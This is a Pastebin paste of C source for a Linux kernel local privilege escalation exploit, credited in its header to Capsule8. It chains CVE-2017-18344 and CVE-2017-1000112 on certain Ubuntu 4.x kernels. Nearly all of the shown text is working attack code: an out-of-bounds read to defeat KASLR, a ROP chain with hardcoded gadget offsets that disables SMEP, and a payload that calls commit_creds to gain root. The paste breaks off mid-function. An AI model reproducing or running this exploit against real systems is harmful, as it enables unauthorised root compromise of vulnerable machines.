Advertisement
Guest User

Untitled

a guest
Oct 19th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.03 KB | None | 0 0
  1. // Capsule8 2019
  2. // This exploit combines exploitation of two vulnerabilities:
  3. // - CVE-2017-18344 (OOB read in proc timers)
  4. // - CVE-2017-1000112 (OOB write due to UFO packet fragmentation management)
  5. // Both original exploits were written by Andrey Konovalov.
  6. //
  7. // Tested to work on Ubuntu 4.8.0-34.
  8.  
  9. #define _GNU_SOURCE
  10.  
  11. #include <assert.h>
  12. #include <errno.h>
  13. #include <fcntl.h>
  14. #include <sched.h>
  15. #include <signal.h>
  16. #include <stdarg.h>
  17. #include <stdbool.h>
  18. #include <stdint.h>
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <syscall.h>
  23. #include <time.h>
  24. #include <unistd.h>
  25.  
  26. #include <linux/socket.h>
  27. #include <netinet/ip.h>
  28. #include <sys/klog.h>
  29. #include <sys/mman.h>
  30. #include <sys/utsname.h>
  31.  
  32. #define ENABLE_SMEP_BYPASS 1
  33.  
  34.  
  35. #define DEBUG 0
  36. #define LOG_INFO 1
  37. #define LOG_DEBUG 2
  38.  
  39. #define log(level, format, args...) \
  40. do { \
  41. if (level == LOG_INFO) \
  42. printf(format, ## args); \
  43. else \
  44. fprintf(stderr, format, ## args); \
  45. } while(0)
  46.  
  47. #define info(format, args...) log(LOG_INFO, format, ## args)
  48.  
  49. #if (DEBUG >= 1)
  50. #define debug1(format, args...) log(LOG_DEBUG, format, ## args)
  51. #else
  52. #define debug1(format, args...)
  53. #endif
  54.  
  55. #if (DEBUG >= 2)
  56. #define debug2(format, args...) log(LOG_DEBUG, format, ## args)
  57. #else
  58. #define debug2(format, args...)
  59. #endif
  60.  
  61. #define min(x, y) ((x) < (y) ? (x) : (y))
  62.  
  63. #define PAGE_SHIFT 12
  64. #define PAGE_SIZE (1ul << PAGE_SHIFT)
  65.  
  66. // Will be overwritten after leak.
  67. unsigned long KERNEL_BASE = 0xffffffff81000000ul;
  68. #define MIN_KERNEL_BASE 0xffffffff81000000ul
  69. #define MAX_KERNEL_BASE 0xffffffffff000000ul
  70. #define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB
  71.  
  72. #define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)
  73. #define MMAP_ADDR_START 0x200000000ul
  74. #define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) // 0x286000000L
  75.  
  76. #define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) // == 0x4fe00000L
  77.  
  78. #define MAX_MAPPINGS 1024
  79. #define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)
  80.  
  81. // Will be overwritten by detect_versions().
  82. int kernel = -1;
  83.  
  84. struct kernel_info {
  85. const char* distro;
  86. const char* version;
  87. uint64_t commit_creds;
  88. uint64_t prepare_kernel_cred;
  89. uint64_t xchg_eax_esp_ret;
  90. uint64_t pop_rdi_ret;
  91. uint64_t mov_dword_ptr_rdi_eax_ret;
  92. uint64_t mov_rax_cr4_ret;
  93. uint64_t neg_rax_ret;
  94. uint64_t pop_rcx_ret;
  95. uint64_t or_rax_rcx_ret;
  96. uint64_t xchg_eax_edi_ret;
  97. uint64_t mov_cr4_rdi_ret;
  98. uint64_t jmp_rcx;
  99. uint64_t divide_error;
  100. uint64_t copy_fs_struct;
  101. };
  102.  
  103. struct kernel_info kernels[] = {
  104. { "quantal", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80, 0x897200, 0x269b50},
  105. { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80, 0x897200, 0x269b50},
  106. { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
  107. };
  108.  
  109. // Used to get root privileges.
  110. #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
  111. #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
  112.  
  113. #define COPY_FS_STRUCT (KERNEL_BASE + kernels[kernel].copy_fs_struct)
  114. #define TASK_PID_OFFSET 0x4C8
  115. #define TASK_REAL_PARENT_OFFSET 0x4D8
  116. #define TASK_FS_OFFSET 0x6B0
  117.  
  118. // Used when ENABLE_SMEP_BYPASS is used.
  119. // - xchg eax, esp ; ret
  120. // - pop rdi ; ret
  121. // - mov dword ptr [rdi], eax ; ret
  122. // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
  123. // - neg rax ; ret
  124. // - pop rcx ; ret
  125. // - or rax, rcx ; ret
  126. // - xchg eax, edi ; ret
  127. // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
  128. // - jmp rcx
  129. #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
  130. #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
  131. #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
  132. #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
  133. #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
  134. #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
  135. #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
  136. #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
  137. #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
  138. #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
  139.  
  140. // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
  141.  
  142. typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
  143. typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
  144. typedef unsigned long __attribute__((regparm(3))) (*_copy_fs_struct)(unsigned long init_task);
  145.  
  146. uint64_t get_task(void) {
  147. uint64_t task;
  148. asm volatile ("movq %%gs: 0xD380, %0":"=r"(task));
  149. return task;
  150. }
  151.  
  152. void get_root(void) {
  153. char *task;
  154. char *init;
  155. uint32_t pid = 0;
  156.  
  157. ((_commit_creds)(COMMIT_CREDS))(
  158. ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
  159.  
  160. task = (char *)get_task();
  161. init = task;
  162. while (pid != 1) {
  163. init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
  164. pid = *(uint32_t *)(init + TASK_PID_OFFSET);
  165. }
  166.  
  167. *(uint64_t *)(task + TASK_FS_OFFSET) = ((_copy_fs_struct)(COPY_FS_STRUCT))(*(long unsigned int *)(init + TASK_FS_OFFSET));
  168. }
  169.  
  170.  
  171. // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
  172.  
  173. uint64_t saved_esp;
  174.  
  175. // Unfortunately GCC does not support `__atribute__((naked))` on x86, which
  176. // can be used to omit a function's prologue, so I had to use this weird
  177. // wrapper hack as a workaround. Note: Clang does support it, which means it
  178. // has better support of GCC attributes than GCC itself. Funny.
  179. void wrapper() {
  180. asm volatile (" \n\
  181. payload: \n\
  182. movq %%rbp, %%rax \n\
  183. movq $0xffffffff00000000, %%rdx \n\
  184. andq %%rdx, %%rax \n\
  185. movq %0, %%rdx \n\
  186. addq %%rdx, %%rax \n\
  187. movq %%rax, %%rsp \n\
  188. call get_root \n\
  189. ret \n\
  190. " : : "m"(saved_esp) : );
  191. }
  192.  
  193.  
  194. void payload();
  195.  
  196. #define CHAIN_SAVE_ESP \
  197. *stack++ = POP_RDI_RET; \
  198. *stack++ = (uint64_t)&saved_esp; \
  199. *stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
  200.  
  201. #define SMEP_MASK 0x100000
  202.  
  203. #define CHAIN_DISABLE_SMEP \
  204. *stack++ = MOV_RAX_CR4_RET; \
  205. *stack++ = NEG_RAX_RET; \
  206. *stack++ = POP_RCX_RET; \
  207. *stack++ = SMEP_MASK; \
  208. *stack++ = OR_RAX_RCX_RET; \
  209. *stack++ = NEG_RAX_RET; \
  210. *stack++ = XCHG_EAX_EDI_RET; \
  211. *stack++ = MOV_CR4_RDI_RET;
  212.  
  213. #define CHAIN_JMP_PAYLOAD \
  214. *stack++ = POP_RCX_RET; \
  215. *stack++ = (uint64_t)&payload; \
  216. *stack++ = JMP_RCX;
  217.  
  218. void mmap_stack() {
  219. uint64_t stack_aligned, stack_addr;
  220. int page_size, stack_size, stack_offset;
  221. uint64_t* stack;
  222.  
  223. page_size = getpagesize();
  224.  
  225. stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
  226. stack_addr = stack_aligned - page_size * 4;
  227. stack_size = page_size * 8;
  228. stack_offset = XCHG_EAX_ESP_RET % page_size;
  229.  
  230. stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
  231. MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  232. if (stack == MAP_FAILED || stack != (void*)stack_addr) {
  233. perror("[-] mmap()");
  234. exit(EXIT_FAILURE);
  235. }
  236.  
  237. stack = (uint64_t*)((char*)stack_aligned + stack_offset);
  238.  
  239. CHAIN_SAVE_ESP;
  240. CHAIN_DISABLE_SMEP;
  241. CHAIN_JMP_PAYLOAD;
  242. }
  243.  
  244. // * * * Below is code for CVE-2017-18344 * * * //
  245.  
  246. static struct proc_reader g_proc_reader;
  247. static unsigned long g_leak_ptr_addr = 0;
  248. #define PROC_INITIAL_SIZE 1024
  249. #define PROC_CHUNK_SIZE 1024
  250.  
  251. struct proc_reader {
  252. char *buffer;
  253. int buffer_size;
  254. int read_size;
  255. };
  256.  
  257. static void proc_init(struct proc_reader* pr) {
  258. debug2("proc_init: %p\n", pr);
  259.  
  260. pr->buffer = malloc(PROC_INITIAL_SIZE);
  261. if (pr->buffer == NULL) {
  262. perror("[-] proc_init: malloc()");
  263. exit(EXIT_FAILURE);
  264. }
  265. pr->buffer_size = PROC_INITIAL_SIZE;
  266. pr->read_size = 0;
  267.  
  268. debug2("proc_init = void\n");
  269. }
  270.  
  271. static void proc_ensure_size(struct proc_reader* pr, int size) {
  272. if (pr->buffer_size >= size)
  273. return;
  274. while (pr->buffer_size < size)
  275. pr->buffer_size <<= 1;
  276. pr->buffer = realloc(pr->buffer, pr->buffer_size);
  277. if (pr->buffer == NULL) {
  278. perror("[-] proc_ensure_size: realloc()");
  279. exit(EXIT_FAILURE);
  280. }
  281. }
  282.  
  283. static int proc_read(struct proc_reader* pr, const char *file) {
  284. debug2("proc_read: file: %s, pr->buffer_size: %d\n",
  285. file, pr->buffer_size);
  286.  
  287. int fd = open(file, O_RDONLY);
  288. if (fd == -1) {
  289. perror("[-] proc_read: open()");
  290. exit(EXIT_FAILURE);
  291. }
  292.  
  293. pr->read_size = 0;
  294. while (true) {
  295. proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);
  296. int bytes_read = read(fd, &pr->buffer[pr->read_size],
  297. PROC_CHUNK_SIZE);
  298. if (bytes_read == -1) {
  299. perror("[-] read(proc)");
  300. exit(EXIT_FAILURE);
  301. }
  302. pr->read_size += bytes_read;
  303. if (bytes_read < PROC_CHUNK_SIZE)
  304. break;
  305. }
  306.  
  307. close(fd);
  308.  
  309. debug2("proc_read len = %d\n", pr->read_size);
  310. return pr->read_size;
  311. }
  312.  
  313. /* sigval */
  314. typedef union k_sigval {
  315. int sival_int;
  316. void *sival_ptr;
  317. } k_sigval_t;
  318.  
  319. #define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t))
  320. #define SIGEV_MAX_SIZE 64
  321. #define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \
  322. / sizeof(int))
  323.  
  324. typedef struct k_sigevent {
  325. k_sigval_t sigev_value;
  326. int sigev_signo;
  327. int sigev_notify;
  328. union {
  329. int _pad[SIGEV_PAD_SIZE];
  330. int _tid;
  331.  
  332. struct {
  333. void (*_function)(sigval_t);
  334. void *_attribute;
  335. } _sigev_thread;
  336. } _sigev_un;
  337. } k_sigevent_t;
  338.  
  339. static void leak_setup() {
  340. k_sigevent_t se;
  341. memset(&se, 0, sizeof(se));
  342. se.sigev_signo = SIGRTMIN;
  343. se.sigev_notify = OPTIMAL_PTR_OFFSET;
  344. timer_t timerid = 0;
  345.  
  346. int rv = syscall(SYS_timer_create, CLOCK_REALTIME,
  347. (void *)&se, &timerid);
  348. if (rv != 0) {
  349. perror("[-] timer_create()");
  350. exit(EXIT_FAILURE);
  351. }
  352. }
  353.  
  354. static void leak_parse(char *in, int in_len, char **start, char **end) {
  355. const char *needle = "notify: ";
  356. *start = memmem(in, in_len, needle, strlen(needle));
  357. assert(*start != NULL);
  358. *start += strlen(needle);
  359.  
  360. assert(in_len > 0);
  361. assert(in[in_len - 1] == '\n');
  362. *end = &in[in_len - 2];
  363. while (*end > in && **end != '\n')
  364. (*end)--;
  365. assert(*end > in);
  366. while (*end > in && **end != '/')
  367. (*end)--;
  368. assert(*end > in);
  369. assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');
  370.  
  371. assert(*end >= *start);
  372. }
  373.  
  374. static void leak_once(char **start, char **end) {
  375. int read_size = proc_read(&g_proc_reader, "/proc/self/timers");
  376. leak_parse(g_proc_reader.buffer, read_size, start, end);
  377. }
  378.  
  379.  
  380.  
  381. static int leak_once_and_copy(char *out, int out_len) {
  382. assert(out_len > 0);
  383.  
  384. char *start, *end;
  385. leak_once(&start, &end);
  386.  
  387. int size = min(end - start, out_len);
  388. memcpy(out, start, size);
  389.  
  390. if (size == out_len)
  391. return size;
  392.  
  393. out[size] = 0;
  394. return size + 1;
  395. }
  396.  
  397. static void leak_range(unsigned long addr, size_t length, char *out) {
  398. size_t total_leaked = 0;
  399. while (total_leaked < 16) {
  400. unsigned long addr_to_leak = addr + total_leaked;
  401. *(unsigned long *)g_leak_ptr_addr = addr_to_leak;
  402. debug2("leak_range: offset %ld, addr: %lx\n",
  403. total_leaked, addr_to_leak);
  404. int leaked = leak_once_and_copy(out + total_leaked,
  405. length - total_leaked);
  406. total_leaked += leaked;
  407. }
  408. }
  409. // k_sigval
  410.  
  411. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  412.  
  413. static void mmap_fixed(unsigned long addr, size_t size) {
  414. void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,
  415. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  416. if (rv != (void *)addr) {
  417. perror("[-] mmap()");
  418. exit(EXIT_FAILURE);
  419. }
  420. }
  421.  
  422. static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,
  423. unsigned long end) {
  424. int page_size = PAGE_SIZE;
  425. assert(fd_size % page_size == 0);
  426. assert(start % page_size == 0);
  427. assert(end % page_size == 0);
  428. assert((end - start) % fd_size == 0);
  429.  
  430. debug2("mmap_fd_over: [%lx, %lx)\n", start, end);
  431.  
  432. unsigned long addr;
  433. for (addr = start; addr < end; addr += fd_size) {
  434. void *rv = mmap((void *)addr, fd_size, PROT_READ,
  435. MAP_FIXED | MAP_PRIVATE, fd, 0);
  436. if (rv != (void *)addr) {
  437. perror("[-] mmap()");
  438. exit(EXIT_FAILURE);
  439. }
  440. }
  441.  
  442. debug1("mmap_fd_over = void\n");
  443. }
  444.  
  445. static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,
  446. unsigned long end) {
  447. int rv = munmap((void *)start, end - start);
  448. if (rv != 0) {
  449. perror("[-] munmap()");
  450. exit(EXIT_FAILURE);
  451. }
  452. mmap_fd_over(fd, fd_size, start, end);
  453. }
  454.  
  455. #define MEMFD_CHUNK_SIZE 0x1000
  456.  
  457. static int create_filled_memfd(const char *name, unsigned long size,
  458. unsigned long value) {
  459. int i;
  460. char buffer[MEMFD_CHUNK_SIZE];
  461.  
  462. assert(size % MEMFD_CHUNK_SIZE == 0);
  463.  
  464. int fd = syscall(SYS_memfd_create, name, 0);
  465. if (fd < 0) {
  466. perror("[-] memfd_create()");
  467. exit(EXIT_FAILURE);
  468. }
  469.  
  470. for (i = 0; i < sizeof(buffer) / sizeof(value); i++)
  471. *(unsigned long *)&buffer[i * sizeof(value)] = value;
  472.  
  473. for (i = 0; i < size / sizeof(buffer); i++) {
  474. int bytes_written = write(fd, &buffer[0], sizeof(buffer));
  475. if (bytes_written != sizeof(buffer)) {
  476. perror("[-] write(memfd)");
  477. exit(EXIT_FAILURE);
  478. }
  479. }
  480.  
  481. return fd;
  482. }
  483.  
  484. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  485.  
  486.  
  487. #define CPUINFO_SMEP 1
  488. #define CPUINFO_SMAP 2
  489. #define CPUINFO_KAISER 4
  490. #define CPUINFO_PTI 8
  491.  
  492. static const char *evil = "evil";
  493. static const char *good = "good";
  494.  
  495. static bool bisect_probe() {
  496. char *start, *end;
  497. leak_once(&start, &end);
  498. return *start == 'g';
  499. }
  500.  
  501. static unsigned long bisect_via_memfd(unsigned long fd_size,
  502. unsigned long start, unsigned long end) {
  503. assert((end - start) % fd_size == 0);
  504.  
  505. int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);
  506. int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);
  507.  
  508. unsigned long left = 0;
  509. unsigned long right = (end - start) / fd_size;
  510. debug2("bisect_via_memfd: right starts at 0x%lx units\n", right);
  511. debug2("bvm: start loop!\n");
  512.  
  513. while (right - left > 1) {
  514. unsigned long middle = left + (right - left) / 2;
  515. debug2("bvm: evil range (start->middle)=(0x%lx-0x%lx)\n", (start + left * fd_size), (start + middle * fd_size));
  516. remap_fd_over(fd_evil, fd_size, start + left * fd_size,
  517. start + middle * fd_size);
  518. debug2("bvm: good range (middle->end)=(0x%lx-0x%lx)\n", (start + middle * fd_size), (start + right * fd_size));
  519. remap_fd_over(fd_good, fd_size, start + middle * fd_size,
  520. start + right * fd_size);
  521. bool probe = bisect_probe();
  522. if (probe)
  523. left = middle;
  524. else
  525. right = middle;
  526. }
  527.  
  528. int rv = munmap((void *)start, end - start);
  529. if (rv != 0) {
  530. perror("[-] munmap()");
  531. exit(EXIT_FAILURE);
  532. }
  533.  
  534. close(fd_evil);
  535. close(fd_good);
  536.  
  537. return start + left * fd_size;
  538. }
  539.  
  540. static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {
  541. int word_size = sizeof(unsigned long);
  542.  
  543. assert((end - start) % word_size == 0);
  544. assert((end - start) % PAGE_SIZE == 0);
  545.  
  546. mmap_fixed(start, end - start);
  547.  
  548. unsigned long left = 0;
  549. unsigned long right = (end - start) / word_size;
  550.  
  551. while (right - left > 1) {
  552. unsigned long middle = left + (right - left) / 2;
  553. unsigned long a;
  554. for (a = left; a < middle; a++)
  555. *(unsigned long *)(start + a * word_size) =
  556. (unsigned long)evil;
  557. for (a = middle; a < right; a++)
  558. *(unsigned long *)(start + a * word_size) =
  559. (unsigned long)good;
  560. bool probe = bisect_probe();
  561. if (probe)
  562. left = middle;
  563. else
  564. right = middle;
  565. }
  566.  
  567. int rv = munmap((void *)start, end - start);
  568. if (rv != 0) {
  569. perror("[-] munmap()");
  570. exit(EXIT_FAILURE);
  571. }
  572.  
  573. return start + left * word_size;
  574. }
  575.  
  576. static unsigned long bisect_leak_ptr_addr() {
  577. unsigned long addr = bisect_via_memfd(
  578. MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);
  579. addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);
  580. addr = bisect_via_assign(addr, addr + PAGE_SIZE);
  581. return addr;
  582. }
  583.  
  584. static int cpuinfo_scan() {
  585. int length = proc_read(&g_proc_reader, "/proc/cpuinfo");
  586. char *buffer = &g_proc_reader.buffer[0];
  587. int rv = 0;
  588. char* found = memmem(buffer, length, "smep", 4);
  589. if (found != NULL)
  590. rv |= CPUINFO_SMEP;
  591. found = memmem(buffer, length, "smap", 4);
  592. if (found != NULL)
  593. rv |= CPUINFO_SMAP;
  594. found = memmem(buffer, length, "kaiser", 4);
  595. if (found != NULL)
  596. rv |= CPUINFO_KAISER;
  597. found = memmem(buffer, length, " pti", 4);
  598. if (found != NULL)
  599. rv |= CPUINFO_PTI;
  600. return rv;
  601. }
  602.  
  603. static void cpuinfo_check() {
  604. int rv = cpuinfo_scan();
  605. if (rv & CPUINFO_SMAP) {
  606. info("[-] SMAP detected, no bypass available, aborting\n");
  607. exit(EXIT_FAILURE);
  608. }
  609. }
  610.  
  611.  
  612. static void arbitrary_read_init() {
  613. info("[>] setting up proc reader\n");
  614. proc_init(&g_proc_reader);
  615. info("[+] done\n");
  616.  
  617. info("[>] checking /proc/cpuinfo\n");
  618. cpuinfo_check();
  619. info("[+] looks good\n");
  620.  
  621. info("[>] setting up timer\n");
  622. leak_setup();
  623. info("[+] done\n");
  624.  
  625. info("[>] finding leak pointer address\n");
  626. g_leak_ptr_addr = bisect_leak_ptr_addr();
  627. info("[+] done: %016lx\n", g_leak_ptr_addr);
  628.  
  629. info("[>] mapping leak pointer page\n");
  630. mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);
  631. info("[+] done\n");
  632. }
  633.  
  634.  
  635. static void read_range(unsigned long addr, size_t length, char *buffer) {
  636. leak_range(addr, length, buffer);
  637. }
  638.  
  639. struct idt_register {
  640. uint16_t length;
  641. uint64_t base;
  642. } __attribute__((packed));
  643.  
  644. struct idt_gate {
  645. uint16_t offset_1; // bits 0..15
  646. uint32_t shit_1;
  647. uint16_t offset_2; // bits 16..31
  648. uint32_t offset_3; // bits 32..63
  649. uint32_t shit_2;
  650. } __attribute__((packed));
  651.  
  652. static uint64_t idt_gate_addr(struct idt_gate *gate) {
  653. uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +
  654. ((uint64_t)gate->offset_3 << 32);
  655. return addr;
  656. }
  657.  
  658. static void get_idt(struct idt_register *idtr) {
  659. asm ( "sidt %0" : : "m"(*idtr) );
  660. debug1("get_idt_base: base: %016lx, length: %d\n",
  661. idtr->base, idtr->length);
  662. }
  663.  
  664. static uint64_t read_idt_gate(int i) {
  665. char buffer[4096];
  666. struct idt_register idtr;
  667.  
  668. get_idt(&idtr);
  669. assert(idtr.length <= sizeof(buffer));
  670. assert(i <= idtr.length / sizeof(struct idt_gate));
  671. read_range(idtr.base, idtr.length, &buffer[0]);
  672.  
  673. struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
  674. uint64_t addr = idt_gate_addr(gate);
  675. return addr;
  676. }
  677.  
  678. // </IDT KASLR bypass>
  679.  
  680.  
  681. // * * * Below is code for CVE-2017-100012 * * * //
  682.  
  683. // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
  684.  
  685. struct ubuf_info {
  686. uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
  687. uint64_t ctx; // void *
  688. uint64_t desc; // unsigned long
  689. };
  690.  
  691. struct skb_shared_info {
  692. uint8_t nr_frags; // unsigned char
  693. uint8_t tx_flags; // __u8
  694. uint16_t gso_size; // unsigned short
  695. uint16_t gso_segs; // unsigned short
  696. uint16_t gso_type; // unsigned short
  697. uint64_t frag_list; // struct sk_buff *
  698. uint64_t hwtstamps; // struct skb_shared_hwtstamps
  699. uint32_t tskey; // u32
  700. uint32_t ip6_frag_id; // __be32
  701. uint32_t dataref; // atomic_t
  702. uint64_t destructor_arg; // void *
  703. uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
  704. };
  705.  
  706. struct ubuf_info ui;
  707.  
  708. void init_skb_buffer(char* buffer, unsigned long func) {
  709. struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
  710. memset(ssi, 0, sizeof(*ssi));
  711.  
  712. ssi->tx_flags = 0xff;
  713. ssi->destructor_arg = (uint64_t)&ui;
  714. ssi->nr_frags = 0;
  715. ssi->frag_list = 0;
  716.  
  717. ui.callback = func;
  718. }
  719.  
  720. // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
  721.  
  722. #define SHINFO_OFFSET 3164
  723.  
  724. void oob_execute(unsigned long payload) {
  725. char buffer[4096];
  726. memset(&buffer[0], 0x42, 4096);
  727. init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
  728.  
  729. int s = socket(PF_INET, SOCK_DGRAM, 0);
  730. if (s == -1) {
  731. perror("[-] socket()");
  732. exit(EXIT_FAILURE);
  733. }
  734.  
  735. struct sockaddr_in addr;
  736. memset(&addr, 0, sizeof(addr));
  737. addr.sin_family = AF_INET;
  738. addr.sin_port = htons(8000);
  739. addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  740.  
  741. if (connect(s, (void*)&addr, sizeof(addr))) {
  742. perror("[-] connect()");
  743. exit(EXIT_FAILURE);
  744. }
  745.  
  746. int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
  747. int rv = send(s, buffer, size, MSG_MORE);
  748. if (rv != size) {
  749. perror("[-] send()");
  750. exit(EXIT_FAILURE);
  751. }
  752.  
  753. int val = 1;
  754. rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
  755. if (rv != 0) {
  756. perror("[-] setsockopt(SO_NO_CHECK)");
  757. exit(EXIT_FAILURE);
  758. }
  759.  
  760. send(s, buffer, 1, 0);
  761.  
  762. close(s);
  763. }
  764.  
  765. // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
  766.  
  767. #define CHUNK_SIZE 1024
  768.  
  769. int read_file(const char* file, char* buffer, int max_length) {
  770. int f = open(file, O_RDONLY);
  771. if (f == -1)
  772. return -1;
  773. int bytes_read = 0;
  774. while (true) {
  775. int bytes_to_read = CHUNK_SIZE;
  776. if (bytes_to_read > max_length - bytes_read)
  777. bytes_to_read = max_length - bytes_read;
  778. int rv = read(f, &buffer[bytes_read], bytes_to_read);
  779. if (rv == -1)
  780. return -1;
  781. bytes_read += rv;
  782. if (rv == 0)
  783. return bytes_read;
  784. }
  785. }
  786.  
  787. #define LSB_RELEASE_LENGTH 1024
  788.  
  789. void get_distro_codename(char* output, int max_length) {
  790. char buffer[LSB_RELEASE_LENGTH];
  791. int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
  792. if (length == -1) {
  793. perror("[-] open/read(/etc/lsb-release)");
  794. exit(EXIT_FAILURE);
  795. }
  796. const char *needle = "DISTRIB_CODENAME=";
  797. int needle_length = strlen(needle);
  798. char* found = memmem(&buffer[0], length, needle, needle_length);
  799. if (found == NULL) {
  800. printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
  801. exit(EXIT_FAILURE);
  802. }
  803. int i;
  804. for (i = 0; found[needle_length + i] != '\n'; i++) {
  805. assert(i < max_length);
  806. assert((found - &buffer[0]) + needle_length + i < length);
  807. output[i] = found[needle_length + i];
  808. }
  809. }
  810.  
  811. void get_kernel_version(char* output, int max_length) {
  812. struct utsname u;
  813. int rv = uname(&u);
  814. if (rv != 0) {
  815. perror("[-] uname())");
  816. exit(EXIT_FAILURE);
  817. }
  818. assert(strlen(u.release) <= max_length);
  819. strcpy(&output[0], u.release);
  820. }
  821.  
  822. #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
  823.  
  824. #define DISTRO_CODENAME_LENGTH 32
  825. #define KERNEL_VERSION_LENGTH 32
  826.  
  827. void detect_versions() {
  828. char codename[DISTRO_CODENAME_LENGTH];
  829. char version[KERNEL_VERSION_LENGTH];
  830.  
  831. get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
  832. get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
  833.  
  834. int i;
  835. for (i = 0; i < ARRAY_SIZE(kernels); i++) {
  836. if (strcmp(&version[0], kernels[i].version) == 0) {
  837. printf("[.] kernel version '%s' detected\n", kernels[i].version);
  838. kernel = i;
  839. return;
  840. }
  841. }
  842.  
  843. printf("[-] kernel version not recognized\n");
  844. exit(EXIT_FAILURE);
  845. }
  846.  
  847. #define PROC_CPUINFO_LENGTH 4096
  848.  
  849. // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
  850. int smap_smep_enabled() {
  851. char buffer[PROC_CPUINFO_LENGTH];
  852. int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
  853. if (length == -1) {
  854. perror("[-] open/read(/proc/cpuinfo)");
  855. exit(EXIT_FAILURE);
  856. }
  857. int rv = 0;
  858. char* found = memmem(&buffer[0], length, "smep", 4);
  859. if (found != NULL)
  860. rv += 1;
  861. found = memmem(&buffer[0], length, "smap", 4);
  862. if (found != NULL)
  863. rv += 2;
  864. return rv;
  865. }
  866.  
  867. void check_smep_smap() {
  868. int rv = smap_smep_enabled();
  869. if (rv >= 2) {
